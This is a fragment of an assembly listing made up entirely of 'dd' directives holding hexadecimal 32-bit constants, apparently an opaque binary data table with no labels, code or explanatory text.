		dd 0FFEA745Fh, 1CDDD056h, 4C993DF0h, 0EBFEE7C0h, 0E0417CA7h
		dd 0DC22AE1Dh, 8CC7FAE3h, 0C4CA0ABFh, 77FD7ADDh, 0DC5320F0h
		dd 31E0FB6Bh, 9737688Ch, 69F11BA2h, 1F2CA09Dh, 0F43487E2h
		dd 0FF5F1689h, 8B5C4ADDh, 0CDF52732h, 8A9C6023h, 2A7DA5AAh
		dd 5CB5518Fh, 1AFCA9B9h, 7377CA76h, 0C57101B8h,	0CD3D27h
		dd 7BF5BDC2h, 3108FE62h, 4C57A6Bh, 7FACBDC2h, 29E2F74Ch
		dd 0ECCE06FDh, 3EAC88FEh, 192B9A08h, 0F0307C2Eh, 0E5601E33h
		dd 0F1A4B4E6h, 0E8CEE722h, 0BB9A7B97h, 997EBAE3h, 88FE96Dh
		dd 0FB7847F5h, 47F7E623h, 3BEEB8CCh, 0A2E0D5E3h, 968BA615h
		dd 0C10E8B5h, 76F764B0h, 65EE89C0h, 0CB4DF6D7h,	9CB62C46h
		dd 9EE5F104h, 428C27DFh, 0B3D794C6h, 1BF1620Ah,	4CFE408Ah
		dd 68480887h, 1A5188Ah,	4D324F43h, 7CB2E58Fh, 0F54B163Fh
		dd 0F3D0CF72h, 1ED54916h, 0D75173D0h, 0C58EFAE7h, 7E1774AAh
		dd 0A88EFAF8h, 93EF956h, 0D6F709DCh, 0FC61B11Bh, 97DD755h
		dd 0A9BCACF7h, 0F7B5EBE3h, 6BEFE63Fh, 20F50CAEh, 4A00E6E5h
		dd 9B1CD1EFh, 0C8843BC5h, 0CE3AF723h, 0E13323C4h, 22734D77h
		dd 77603B7Ch, 7BA0E6AFh, 79BDFCB4h, 4AF7689Ah, 3BA1B80Eh
		dd 0EB9EAAE0h, 71584E41h, 94B62823h, 0D6C70D6Eh, 73C9A8DAh
		dd 602B3E71h, 31D311C4h, 0B62ACB0Fh, 0C5A1A84Fh, 3E3D6AE2h
		dd 9B4793D3h, 0E65434A3h, 8C4F3D9Dh, 23DBFAA2h,	0A8F3F533h
		dd 0D6BF47D6h, 375D93ECh, 52244Fh, 0AABA9E94h, 78C6F292h
		dd 0FB37794Dh, 0F18DE446h, 0F7373D99h, 35101F24h, 5910DA12h
		dd 0F71E0FA4h, 0CFFA66Eh, 28646D3Ah, 0AE6C4F6Fh, 9FF0494Ah
		dd 8626F3CBh, 0D3D1F94Ch, 9EBA31FEh, 0BDCF8E0Dh, 0FBC20998h
		dd 0DC259F11h, 5F046E27h, 8F974BA8h, 0F09C40ABh, 0EB73C7ADh
		dd 0F752D5A5h, 26991BFEh, 0B81F59C1h, 9456B03Fh, 167439AEh
		dd 0CF8F1BDEh, 88ED5CF1h, 2021E337h, 5EC0AC28h,	15BE0CE0h
		dd 562A743Fh, 0D0D5D35Eh, 3FC5E569h, 0B4024A4Bh, 47DD53F4h
		dd 0CFA63A42h, 0FD94E9A5h, 63A2272Ch, 279277A0h, 0EE2D3D51h
		dd 0DF7D51B9h, 0F9231D0Ah, 0F4DA64AAh, 0AF65E75Eh, 8874F73Dh
		dd 0E5EFA53h, 3A538FB4h, 0F45790C4h, 0E57DD10h,	0D0ED9689h
		dd 0E7126B4Ah, 7DE5E977h, 0E7A82469h, 87C2F381h, 0BE5E1D7Ah
		dd 0B5BDE3EAh, 0A632ABA2h, 57DE1EB2h, 548CD794h, 0DED3DCE7h
		dd 9B9BB5Bh, 0F052C638h, 1F9AB505h, 798CCC6Bh, 1A75EA1Fh
		dd 0E2830397h, 0F592FC98h, 0DDD162B2h, 0C5734B32h, 93185802h
		dd 6D49B86Dh, 1F387A83h, 67B0B331h, 57708EE4h, 481BE8F3h
		dd 0B90746D9h, 21C793B7h, 16B2B6CEh, 0B5E26E08h, 0BED5EB2Fh
		dd 53D0A283h, 0A666CAAFh, 0A26F3351h, 0F80DF52Fh, 81B6FAFDh
		dd 6E485671h, 0CEF01E0Ch, 0BCE8E7F7h, 0D3D2A8Eh, 1BC94A6h
		dd 0BD52A034h, 3E81BCC6h, 68D1ADC3h, 0BC9C1E95h, 18642977h
		dd 21425C85h, 7A06F383h, 4F88D207h, 7F4DBAAAh, 9853F45Bh
		dd 4F4E54A7h, 0C738553Ch, 32B64629h, 799FC6D3h,	89814EB3h
		dd 34E4282Bh, 488310D1h, 27EE03E2h, 2F98E82Fh, 81D64925h
		dd 0F7E80EACh, 5E152C59h, 29FD9CFFh, 4FE30583h,	9ACCA5B1h
		dd 79345DE5h, 0DF717D30h, 67AD0ACFh, 71696502h,	0F26652A7h
		dd 82FDD35Eh, 915D0898h, 6A9F2F94h, 17036FBAh, 83B43E31h
		dd 7176EC0Eh, 0E75E9D57h, 676F2449h, 76800B07h,	6026C075h
		dd 0CE8EA87Ch, 0F415786Bh, 0A289040Dh, 0DC1D097h, 617A2A4Fh
		dd 0D245B5ADh, 0A791334Eh, 8CF5933Eh, 0C03FE78h, 1C873101h
		dd 3CC115F5h, 562F9E27h, 0F00E7C49h, 469CE692h,	0C5621C09h
		dd 9CAA3C07h, 699087C2h, 84E55830h, 0DD9A554Ch,	5DA84B41h
		dd 4A9D309Eh, 9F7E9C4Ch, 3E21C8FBh, 0AC55C027h,	6D3C4C34h
		dd 0F9A099F0h, 4586AAE0h, 9AA48A0Bh, 7525FDDh, 0B35C28C5h
		dd 0D329893Fh, 7C194DA1h, 0AC71EB3Fh, 0C748918Eh, 0FFBA7C7Bh
		dd 1CFCA8B3h, 0C578286Ch, 0EF70D658h, 5B2FB4BBh, 5A7AEDA2h
		dd 528BB3BCh, 41F715CCh, 4696C872h, 5084C187h, 0D0C8F67Ah
		dd 0B98B066Bh, 5B142CE2h, 6B024ACh, 6185BA22h, 0F798875Bh
		dd 76B6AC3Eh, 0FB1A9B76h, 7ACA93A6h, 1B7E83B6h,	94E0998Dh
		dd 0C09AC2AAh, 2019DDD8h, 4EBEE3DDh, 0DEC8843Ch, 2E646DCDh
		dd 0E825F34Fh, 0FE714E98h, 0AF17E85Fh, 29496234h, 55B253DCh
		dd 5831B3B1h, 65596A26h, 0CA64072Fh, 0BDB97900h, 0D69F07A5h
		dd 83DD9F1Bh, 1E5E31D7h, 7D45DE1h, 605F509Dh, 0C642FE0Eh
		dd 1DB96290h, 0C44D45AAh, 6AE17217h, 746A2B96h,	0F4850CBAh
		dd 6B4F5EA4h, 710F89B6h, 0B733C3C2h, 5E4FCACEh,	828DC0B1h
		dd 0DEA752ACh, 8194315Ch, 19A86904h, 2FE5C44Dh,	3E8F77CDh
		dd 0FA211112h, 625F6900h, 0B645AB1Ah, 14F919FFh, 53DF4BFFh
		dd 8097F699h, 42512D9Ah, 2A015EA2h, 25DAA247h, 5750076Ah
		dd 12FBD44Bh, 2EA037F5h, 0FF9D1425h, 48C01E30h,	477E73A3h
		dd 6959782Bh, 421F4678h, 0E3F3010Ch, 0B0F467FBh, 9242DAB2h
		dd 9F07350Eh, 3058E3C7h
		dd 1C713CE6h, 6A4E3B22h, 0DF7BB8DCh, 0BE71B955h, 5B98BDD1h
		dd 9F1E7D62h, 0E7BD32Ch, 47C3F7A5h, 0CE7E4D47h,	5E77948Bh
		dd 0D17B7360h, 8E96C54Ch, 38496773h, 0ACB97A3Dh, 6B8B5D9Fh
		dd 673E5B12h, 0A75489E5h, 77B8A2ECh, 6E2E1A94h,	0B069213Ah
		dd 310D54h, 8E34BCBAh, 0DCF28419h, 9502FF2Bh, 902F14D0h
		dd 0F92B750Ah, 1699AA52h, 64E1470Ah, 9A7246BCh,	44A23E2Bh
		dd 54C1CCB3h, 0F316D91Eh, 785826CEh, 3A8FC287h,	7D1CFBB4h
		dd 9404ADB4h, 0FC06BB9Fh, 493E0FDh, 0AA5906EFh,	0E1B2C34Ch
		dd 31B4F88h, 236AED22h,	6C1C4E7Fh, 0C49AB1DAh, 0BC073D8Fh
		dd 776F50C3h, 40C2D04Fh, 0E174710Bh, 3E6B2E3Fh,	2451638Ch
		dd 63150BF1h, 6F4424F4h, 58F19EB5h, 42AC57BAh, 6A631877h
		dd 0FBF76E4Eh, 367E7772h, 945F68E4h, 0E591E7ECh, 7841C6E7h
		dd 4431E8DBh, 12E70393h, 1E1E297Ch, 42A64B59h, 9FA3C74Ch
		dd 610596DFh, 4A3D33A8h, 48C2DC14h, 26452999h, 0C0DA3A65h
		dd 8864E14Bh, 0D98FC550h, 343D8CC5h, 7AA3BB85h,	0A937BBC4h
		dd 5AB5E58Bh, 0C4FB2B8Ch, 0A9D8B9F8h, 0C5A298C5h, 0B189F5D0h
		dd 0C5A53C54h, 0F18B46B8h, 31DEEEFEh, 0AC3C4BFEh, 0C5A718C5h
		dd 0C627D3D8h, 351CC42Fh, 83812786h, 0FC13ED9Fh, 0CB553133h
		dd 832D3AE0h, 5A0C535Fh, 58DD0AAAh, 0C510DC83h,	0D8E4AFE3h
		dd 8A72E88h, 0AC31A1F1h, 2782BDF0h, 86549A8h, 2BA952DFh
		dd 83C6757Bh, 477E09F4h, 0CD01DCC3h, 0AC56B1E5h, 0C145179Ch
		dd 8303B027h, 8EB49037h, 6AC33F66h, 0EFC553ADh,	12465203h
		dd 15C659E3h, 0DC953E87h, 15D618FDh, 4554FA89h,	0DEA60BFDh
		dd 5B7797DEh, 2AD066C1h, 0B0737145h, 17E6CF51h,	64117C75h
		dd 1D0B72A2h, 62C4D50h,	0E7835810h, 0EBE2850Dh,	29DB1516h
		dd 0EFC8134Eh, 62748F6Eh, 224664A2h, 82E15727h,	1049E620h
		dd 50586DF5h, 0BD4A5F62h, 2698D51Eh, 0BAC5DF83h, 0A25AFB10h
		dd 402DF0F6h, 0B324A30Bh, 85E7EC5Eh, 4A4EA240h,	0C50D2414h
		dd 3DF45B3Fh, 0F3DF1397h, 5716CF3Ah, 0BD603ACAh, 0D9C92637h
		dd 5B58A7D8h, 4727C13Ah, 6942EC85h, 88F2FD43h, 0DED22802h
		dd 0BA5AF9CFh, 0CC44B127h, 0E5CFB5A0h, 433EA499h, 0B98C3494h
		dd 81F4F7E2h, 0FA66A342h, 0FDE31E6Fh, 0DD84DF96h, 5763E681h
		dd 5D816FCDh, 534F071h,	29A58E3Fh, 38A160F1h, 0EB78C7Ah
		dd 0ADA85625h, 3B58293Eh, 517A3D32h, 0F78F87D6h, 0A37B38A0h
		dd 0C1DC32B4h, 6F567A8Bh, 0F132DB46h, 29C09F5Eh, 1D51DA1Eh
		dd 7F98F9EEh, 0AA47F8Dh, 0F8C7C588h, 6A5D8A54h,	714E811Eh
		dd 52D031CFh, 0AE4C5F71h, 0AA8BC59Eh, 3569176Ch, 67370E7Ah
		dd 8780C275h, 0A4995874h, 3258976Eh, 0EFBA729Dh, 0C4C37EDBh
		dd 5A41BC9Fh, 0C262A346h, 0D6D25031h, 78874EE3h, 0D2F6492Fh
		dd 250E235h, 99B145F8h,	404DE285h, 3BB08B81h, 636833F2h
		dd 61DB104Bh, 0FEDA171h, 42DF27ACh, 698ACF74h, 6C13CA25h
		dd 95E76E55h, 46C4B4ACh, 0E552296Bh, 0D0F4CDAh,	106E512Fh
		dd 0BD604BBFh, 879DE63Bh, 0D2E5D626h, 68E4F7EAh, 5E26EBD6h
		dd 8E83A4DDh, 547898FFh, 0E3089846h, 7203A5CCh,	95E6297Dh
		dd 0D3483C5Dh, 0DECA07D5h, 4F664F7Ch, 7F160D87h, 868FA1BAh
		dd 102DC20Ch, 0F738A94Fh, 5BDC7426h, 3C81F02Fh,	0E6499D0h
		dd 10E1C782h, 457C09C5h, 87FFE443h, 7ECE3334h, 3461D788h
		dd 8F249E4Dh, 6B2633F1h, 0F05B92BFh, 7B900C2Eh,	0F50A61DEh
		dd 5ED44B4h, 0AC508F2Ah, 3981BADh, 4C204CC0h, 0F39B2379h
		dd 83FC760Bh, 432EB2EFh, 8146983Ah, 30CF8EDAh, 0AC783332h
		dd 0A7F8893Eh, 0A991E53Eh, 594A79EEh, 0E83F8D06h, 7CCD061Fh
		dd 0C5D7DC49h, 64A7546Ch, 5AE2C2A3h, 816F9751h,	91A7BF27h
		dd 0D36D8B97h, 0A17C37FAh, 0DCE2A758h, 77F0D06Bh, 0AA46136h
		dd 0AF5046E7h, 10E75650h, 0E7ABFCB9h, 0DA059DFh, 0ADB667F6h
		dd 0D65376C3h, 0D100CE75h, 0CF4BDFD5h, 0C2ACF679h, 0BAB97046h
		dd 94DD4056h, 2EBA80E8h, 7CA69E18h, 5F23CFE3h, 0D96359DCh
		dd 0D5E7B117h, 0EAD084Fh, 66709FDDh, 0ECAD2FAEh, 0D75940D6h
		dd 7D8DEF05h, 0EACB1FEBh, 0A7A77F5Bh, 71509C48h, 3FEA3F6Eh
		dd 555E936Ch, 0E52B71C8h, 0ABB6AE0Fh, 0BF9476AFh, 458B277Ch
		dd 0B2D19E2h, 7B78B237h, 0DAA16723h, 0F6C6AEE4h, 9CF25F5Ch
		dd 681C1B71h, 0E9B757E0h, 0F5128D92h, 21BBEE9Ch, 0C25CF512h
		dd 0B5184377h, 55BF1921h, 19E7F83Dh, 39E929E1h,	170F6043h
		dd 0C23F180Dh, 219E4E39h, 85E77A98h, 0B5DBD695h, 2F40836Fh
		dd 7E6CD0F4h, 7F674086h, 0C40165A2h, 0C45AAA49h, 98D1B792h
		dd 57916C49h, 3E29DF12h, 0B4230CBCh, 0F5105864h, 0F76C63DDh
		dd 0CE21F33Ch, 98E4577Fh, 1998D572h, 0F0AC0654h, 60E517FEh
		dd 49A2EE3Dh, 0BD3FEAE6h, 1FF6B4EEh, 6E2C565h, 0B5E9EF6Bh
		dd 0E99EF9ECh, 2F4F14F5h, 7A798DB0h, 3345FEE9h,	83D12D6Ah
		dd 0BAD1231Eh, 4179E455h, 0E9CB094Ah, 43BBC9D5h, 4E5608ECh
		dd 0A39AE18h, 4DEC87EFh, 7841EF21h, 0E4C11C8Fh,	9959DD3h
		dd 77DA819Ah, 0B44A6984h, 660E400h, 9EDD5281h, 453963EEh
		dd 0F56B10ABh, 9827BDC7h, 0F2FC471Ah, 0BE6BAF08h, 120B9EE1h
		dd 0D2842AA5h, 7F45EA1Eh, 0A6431ACh, 13EF748Eh,	9B419112h
		dd 0F2264B95h, 0DEF7B24Ch, 0B563BC2Dh, 62D429Dh, 8FC35FD7h
		dd 26917EF0h, 7FB8472Ch, 0B317D55Eh, 0CF7A8841h, 6467B4Fh
		dd 0AD88B84Ch, 0F4FD90A7h, 0A0C8E5ABh, 41BA463h, 31B10F54h
		dd 0FAFDFC58h, 92541D1Eh, 0F8C9E344h, 0EF768A92h, 1B1077C1h
		dd 1AC3BFBAh, 164A04D5h, 87B9F556h, 49B022A9h, 0B9813131h
		dd 2586C21Eh, 39123137h, 0ED2EF588h, 5AC59C23h,	57E0EB0h
		dd 0CAEF27A3h, 2F334093h, 0A30EF36Ah, 0D7E45BF3h, 0F0C5E66Ah
		dd 17251247h, 0C5E66C3h, 97AC3BAFh, 0F99A8D5Ah,	7D453A9Ah
		dd 6A5DC3A4h, 6991433Dh, 7093E3EDh, 0D05AED17h,	600BC9AFh
		dd 9F7C43ECh, 0F7239071h, 5913CBE4h, 0A256EB77h, 0D453CD75h
		dd 6072E9D6h, 9E8360C6h, 6E2F85F5h, 0F9B44796h,	36E85CCDh
		dd 0B670DB7Dh, 63218581h, 6677716Bh, 0D13E5F77h, 0C9ADECD7h
		dd 6C78B06Bh, 0A45E9F4Ah, 0F77685E8h, 81EA28E3h, 0E1FD453Eh
		dd 0EE91DC0Fh, 0E15F7ECCh, 376B1916h, 3E7A8204h, 235C4385h
		dd 0B25AFBF1h, 0F165EE59h, 0E0EFB41Fh, 0ADF79FDh, 87EEBC5Ch
		dd 0BAF2702Ah, 0F51815DEh, 0B9A81503h, 7030DFAEh, 54551788h
		dd 0CE7409F4h, 0CEC96F6Dh, 0B5D725C9h, 5E2AEF4Dh, 0B480E8B0h
		dd 0C4DE717h, 5EC1300Ch, 5ED559DCh, 8C15CC1Ch, 82B9B1D1h
		dd 0E9DB14E1h, 49C3D9D1h, 0F25BC462h, 3A01A516h, 4E8628F1h
		dd 7B38341Ah, 0E7463BA8h, 12317EA1h, 7B3FC638h,	2BD3BC62h
		dd 0CCB4D406h, 8C00A429h, 30E1ECBFh, 50130189h,	90CA9474h
		dd 1A1E5276h, 2679B841h, 46F2AD6Bh, 1BE74720h, 33A81F90h
		dd 0F8D3A06h, 0F3F4D7Dh, 0C8D968DBh, 0C4D17C7Bh, 0C7AE0C18h
		dd 0F57146Fh, 5EADB67h,	0CF7ECA29h, 0B8A8BB18h,	0DBB7CD86h
		dd 0E6AF4FC5h, 10C0C18Ch, 332E5E1Fh, 7194E1Eh, 0FB778D1Ah
		dd 992155EAh, 4918FB40h, 7915B0DBh, 0CB01C9CAh,	0A413A8E7h
		dd 0EFC53A02h, 31A09D2h, 94F5E168h, 71E88F9Dh, 0F0C7A2E5h
		dd 3B15FD22h, 0D1E0B160h, 4AD71474h, 44CDB85Bh,	3F0641ABh
		dd 3A00A14Dh, 0BB653DBAh, 9CA16C54h, 0F52E8BB2h, 5B3053E6h
		dd 2E5E77ACh, 0F8C3BC4Dh
		dd 0B6CC277Bh, 6B48475Bh, 94AEFBEBh, 94A3DE86h,	5BDF79A1h
		dd 0C27BD69Eh, 29155C6h, 4A78F893h, 0DFD1E3Ch, 0B860B0AAh
		dd 2E18EA8Ch, 0AEC5DEA3h, 3C36DC49h, 0DC9B0F2Eh, 41AD3CA0h
		dd 3A59621Dh, 0F884E837h, 8A4E04A9h, 17681245h,	547024F3h
		dd 0A865F54h, 2C03451Dh, 72E0B176h, 0B94701B5h,	59F17101h
		dd 0BB8F9C7Ah, 0B2982983h, 0A9A78BB4h, 1111D1BEh, 5D877EDBh
		dd 0FAF563ACh, 3F74941Dh, 0F22FF39Dh, 468158F1h, 0C8F613BDh
		dd 0CE7419CCh, 114E7107h, 0BD94765Ch, 0B5B52D10h, 0A04FD373h
		dd 0FF5CD9E9h, 15FF6293h, 434C49D0h, 6F89DDA0h,	29A3176Ah
		dd 0E0822C40h, 4B76E44Ah, 5ED321A0h, 0A67614E8h, 775033AAh
		dd 774CBA47h, 0C427BB17h, 8876EC6Dh, 0C22D765Ch, 87F6AE9Ah
		dd 14D33B32h, 524BE03Ch, 0D2AB352h, 1536AACCh, 419BAB8Ah
		dd 0E82496B0h, 9B2377D5h, 0C22B5AA0h, 5768391Ah, 9D3ED5C5h
		dd 0C8345C27h, 0CAC5620Ah, 0C37A41B1h, 0CEFA775Bh, 9C337111h
		dd 0B8A17EBEh, 351E402h, 74FDB801h, 0C3DEDAB9h,	8CE67AC6h
		dd 0BDEF4BADh, 6BA0AAB6h, 43FF825Bh, 0F33A84C3h, 8AA143BEh
		dd 3E6C8854h, 0E0C7957Ah, 8BABEF32h, 22C608CFh,	0F4BBEFF4h
		dd 81E0928Eh, 83A22FB2h, 0FC1AFBCCh, 711129Bh, 21176872h
		dd 0F2B027C9h, 0F5A66BBh, 368A8790h, 0F4511A19h, 0A506DF01h
		dd 333772CCh, 8440DEEFh, 0D719E092h, 0DE94258Ah, 0B644B4A1h
		dd 8101673h, 3AD335B2h,	0A4B43B73h, 0BC37C4CCh,	0C5EE2F3Bh
		dd 4F2C3A42h, 70CAB3EFh, 0FB382B27h, 47F86E33h,	8AFC57B1h
		dd 0A5E8B4E9h, 0DB05386Ah, 1B0376C5h, 0F7CBBBEAh, 0E7CC05E7h
		dd 18B29557h, 338AB395h, 23E04165h, 1647DD7Dh, 3A694925h
		dd 8DE836DCh, 8340E0F0h, 0F475AEB1h, 2FB34A5Dh,	69F8125Ah
		dd 0D63DEC02h, 5ECD0123h, 41CC259Eh, 0D0B69705h, 0F4D89C63h
		dd 1F4B2563h, 35A8129Eh, 46FBE9DEh, 0E14F675Ah,	81F48607h
		dd 538F9F69h, 2D1A06CFh, 0F38C69E4h, 458B9260h,	3BE7DA0h
		dd 0BEA9165Ah, 6CBF83CFh, 678BB6ABh, 0A5F5FBC0h, 1AC5CB8h
		dd 12905C24h, 4F1AE82Eh, 18817DABh, 1C55D05Fh, 1EB16999h
		dd 2A759709h, 0D9915D45h, 31928543h, 163F3AC8h,	22458E1Eh
		dd 7EA56F45h, 5A1ECF0Dh, 2F16386Dh, 889DF4E8h, 31D8B6D8h
		dd 0D8A5C523h, 764D6D09h, 0B8A40FE4h, 4218AD84h, 5D937401h
		dd 5B92E34Ch, 9E00E2ECh, 0C1A417D9h, 943748Ah, 7CDE4F2Dh
		dd 0B42C8A5h, 2D20B854h, 9912D052h, 0D0F134D7h,	0BE2677C4h
		dd 3AE5C6CFh, 0A504AC95h, 0A59AC528h, 2BA566B7h, 0B2FA6945h
		dd 0AB14EB34h, 0CE15AA95h, 511A1832h, 13A2BFFEh, 949F7D28h
		dd 32D46965h, 358A6B25h, 32CD62CBh, 0B384A759h,	0CD3711D2h
		dd 0CF1B1427h, 313102AFh, 3949B136h, 592464A6h,	7A19C3D3h
		dd 5AD3938Ch, 4E2DB94Dh, 4AC47856h, 0A05A0A06h,	0CEE39730h
		dd 1B87598Fh, 23A70ADEh, 0E6DD57FEh, 4DC7E54Ch,	5293DC8Eh
		dd 32742C27h, 0AF5CA05Ch, 333863BCh, 3EBE1628h,	0FBAC66D0h
		dd 0EBEE3E9Ch, 7CAE3EBDh, 8FCC9E84h, 98D240ADh,	8D69CA2Fh
		dd 0BD785A1h, 4E89E091h, 9EA18F55h, 0C8B48497h,	0F184ED6Bh
		dd 12CFA32Ch, 288BB42Bh, 178A724Ch, 4296E798h, 0DF1EFC5Fh
		dd 0A97DE667h, 0A9433479h, 76A291C6h, 43EEB18Fh, 0E296C4E3h
		dd 0E454CAC8h, 0A14A2E14h, 0AE1967DAh, 3EAA9EBAh, 0BAFF5505h
		dd 5BE218C6h, 0D63A659Dh, 0A5845375h, 101C2EC3h, 0BE9E5317h
		dd 894E8B09h, 0B46C1832h, 0FBCC477Dh, 847DD40Eh, 866B230Ch
		dd 26656E72h, 0A84E5F35h, 0D68C78E4h, 4BCAAE9Bh, 0D8BB3EBFh
		dd 18E196F0h, 0FBE4D9FAh, 78CCE674h, 736F9741h,	0E63AA2CFh
		dd 0D58526B9h, 38A59610h, 86D8CB23h, 0F0CA9E1Bh, 35FD2C54h
		dd 764AAD84h, 0F113A32Fh, 0E4B3BB21h, 0C4C2F3EDh, 9577A955h
		dd 73A4EE1Ch, 50C56B91h, 165ABEF3h, 8BB56AE2h, 189845F0h
		dd 4EF9714Ah, 0E503CA61h, 0A3B85B14h, 0EBD4CE52h, 42F397BDh
		dd 4E05D780h, 0BB20A882h, 6B2B92A8h, 29578534h,	135822F1h
		dd 0E8A9BBAEh, 381627B2h, 0DBDA0E45h, 86519DB3h, 2A2DFC85h
		dd 285DF0BAh, 7D405FAFh, 0A1BA9B32h, 0C24E4D25h, 2A8C1665h
		dd 0AFC3CF3Dh, 42B7EE79h, 5ACD0ACAh, 6985C5D9h,	0D559D9F9h
		dd 85162F2Bh, 9945D4E2h, 3B2F4D25h, 93111B96h, 1DE5538Ch
		dd 0CDCE52C2h, 9407AC8Bh, 0A919918Bh, 81232531h, 0D4C2E646h
		dd 7BA1C356h, 6C465F7Ch, 1150DCB5h, 0F270B3C3h,	91C3BC08h
		dd 9024B3E3h, 0C18EF3ADh, 48CB3FF2h, 0CA3BEB9Bh, 0EB5AC4C2h
		dd 1A56C4C2h, 19C287A9h, 3B8686D9h, 0CBD1ED7Dh,	0F029C28h
		dd 70297329h, 386B626Eh, 0F0EE028Dh, 0F37DB8C5h, 7364BC74h
		dd 73F5EB68h, 0A2086313h, 2ECDB0E9h, 0E73A0BFBh, 0EEB45B50h
		dd 0B0979DFFh, 0D3CD7030h, 2AA17F69h, 0A694A3BFh, 0A696B36Eh
		dd 5C915336h, 0F6DA57E2h, 45228461h, 0B2561CE5h, 347DC092h
		dd 0A4AF6401h, 52D24A17h, 0F739F7F0h, 2EC59484h, 84E8F4E8h
		dd 0C3B202DBh, 0E78824C2h, 3C764952h, 3B0F843Fh, 34CC513Eh
		dd 21E20DCBh, 2C59A48Bh, 1E696692h, 0AF2CD2A5h,	4CC4E48Eh
		dd 13564CB3h, 0EB04303Fh, 6E9EF1A2h, 7DBCA59Ah,	9534BF36h
		dd 0A8A77CBBh, 4B64A8B2h, 18ED85B9h, 839AA463h,	0AE2E7E78h
		dd 37D30048h, 0CEDC122Dh, 0FFDF9CE7h, 603A641Dh, 481CFCF7h
		dd 237454CCh, 0BFA1E2ECh, 76DF15F3h, 0A8FC72A9h, 4F95C5Dh
		dd 0F439118h, 0A99CD532h, 63A2A4C4h, 0D1312F9Ah, 0F3E5FB5h
		dd 68294CBDh, 0B09C16B5h, 0B58B416h, 850F5A8Eh,	69B31B4Dh
		dd 0C293471Ah, 0CA16E123h, 0EE02A8DCh, 8A3D39D9h, 0DEC4D278h
		dd 0C4567AFDh, 0DE7B9693h, 548C997Bh, 253C3D08h, 785D3A4Dh
		dd 59A967Ah, 0FECBA65Ch, 0C6A56664h, 780F28E3h,	24C21B2Fh
		dd 0A6539314h, 9429244Bh, 71A75E8Fh, 0C807544Ah, 88A8188Bh
		dd 0D2270977h, 99167CE9h, 0DC2ED739h, 1B1800E7h, 56862E67h
		dd 63497B16h, 46275E92h, 0A4CF4060h, 309C86CEh,	0EDB0C78Dh
		dd 2A6D8464h, 0EA75A76Dh, 3307EC4Ah, 0B5E10B33h, 5E792F8Bh
		dd 4A29C94Ch, 0F2D0E6F7h, 8F80298Ch, 0E74819E9h, 743BF172h
		dd 51BE5FF6h, 8531B457h, 6086485Ah, 0C8DFB8B9h,	0BD7DE890h
		dd 7F7985BEh, 0C318B7F7h, 9EB3A2DFh, 38C6429h, 0F507CE2Dh
		dd 2470D67Ah, 0C1638F7Dh, 0D9431A21h, 2CFAB38Fh, 19D052A3h
		dd 0CEB62936h, 867E78C2h, 69E19FD0h, 6590618Bh,	92670396h
		dd 0B52DDE39h, 0FEF3034Bh, 39D8FCC1h, 6CC43945h, 0F966C3BEh
		dd 0E6D559B8h, 5E7A2D6h, 5977A3DDh, 9AE1CAE3h, 0D9ADC18Fh
		dd 7EF2BAF7h, 0D8F7849h, 0B50CAF8Fh, 7F3D9CCFh,	0FE20497Bh
		dd 2567E960h, 577D87B9h, 16370DFEh, 460FF8D6h, 3CF48E8Ah
		dd 0A17DFC58h, 748FF1E5h, 4969FA5h, 11681352h, 0E584978Fh
		dd 0D1AE7FCAh, 3CE589D6h, 1CA01C62h, 39ECE67Ah,	37BEF3h
		dd 0AF7D9F36h, 34385944h, 1DCCA256h, 9E125EDAh,	0B28975F7h
		dd 66941126h, 38915289h, 5E786E01h, 4948F587h, 125628B8h
		dd 0CF099DB6h, 0B3EF32EBh, 33289575h, 0E992B16Ch, 0D2CAEA0Fh
		dd 0FBDEFBCCh, 0C6B471D9h, 4A8FC1F0h, 1422C6C2h, 8118A716h
		dd 8F4A136Fh, 380D8EDEh, 8B181252h, 0DA3A329h, 4BA686AAh
		dd 297163DCh, 573BCA75h, 280EF31Dh, 482227D1h, 7BA956F9h
		dd 0CAEBE266h, 0CD3B873Bh, 0FEDE9AFBh, 0B835FADCh, 0B67A275Dh
		dd 0F2B68807h, 0ED92345Ah
		dd 1691D1C0h, 1EED1CD6h, 8412AF03h, 0EBD495CFh,	5100FA81h
		dd 79A27446h, 4C23F30Eh, 8E5B1194h, 2A377EA5h, 48158BA7h
		dd 0B8EC4DE2h, 0F1270F18h, 24AAFF84h, 9EF77F70h, 429F681Bh
		dd 5685B12Bh, 5269677Dh, 0E1A2E049h, 19EB0491h,	0D99D2CA5h
		dd 0C8CF6BD0h, 6FEF9985h, 0DE553217h, 9F3A976Ch, 31E4B81Ah
		dd 4EF5AC1h, 592318A2h,	0BA93C44Fh, 13ED4E63h, 4CC71D73h
		dd 5B14CB47h, 0D461D11Ah, 0AB5D6704h, 91233231h, 6069CC16h
		dd 67DAF474h, 0CBE6487Ah, 5FC5C2D5h, 0C859F2CFh, 8937F32Eh
		dd 46996723h, 0C0A63983h, 78E6E0CDh, 0D612912Fh, 59C77714h
		dd 0C4922539h, 0EEE0DF5Bh, 568BA711h, 0D30B235Ah, 522D3626h
		dd 6CD6F4F2h, 0D7814DEBh, 0DA6CE18Dh, 7DF6EEA3h, 14EE5DD9h
		dd 5DD0F7A2h, 1057B08Bh, 12487E71h, 0CE2099E7h,	0FAADEBB1h
		dd 0ACC5C406h, 2DAF306Fh, 0E0AD65B4h, 66D697A9h, 0A2A6CBD5h
		dd 0D53A135Eh, 19E2E04Dh, 0BCCDC2ADh, 36A15E65h, 55389840h
		dd 0B616B586h, 0CAB1DEE5h, 0C46F0262h, 16296D1Bh, 2905199Eh
		dd 725E7F6Fh, 89452CB8h, 0F2A5FDBDh, 0D64D55C6h, 0BB102553h
		dd 0FB1E1A51h, 3CBB7A18h, 6A72E8FAh, 4E911D26h,	84FDF075h
		dd 1F494F47h, 3C0BA4A4h, 5169A506h, 0AEBEB964h,	9DF6912Dh
		dd 698789C6h, 0C489D7A4h, 26130FBAh, 39DA14C6h,	5B5233ADh
		dd 0C92FAAAFh, 8437DAFDh, 0DA86114Eh, 0B1223301h, 0EC48ECC8h
		dd 0C1D1C7F0h, 76B07D1Eh, 0BE993781h, 30617863h, 0D2844446h
		dd 62ABFBE8h, 0DAB02D8Bh, 6384FF5Ah, 4F72F7B9h,	7144F502h
		dd 83B478A1h, 0B142E9A9h, 1A50150Ch, 141BD15Dh,	0DC85A31Eh
		dd 919E3705h, 74E6241Dh, 3E4A45B0h, 0E43C4F9Ah,	0B7408231h
		dd 5E1E8132h, 1AFBE296h, 0A6EA4FD7h, 37AA5273h,	525D12B0h
		dd 0E8622D0h, 7428104h,	0FC8194E0h, 0F362210Ah,	0C19542D3h
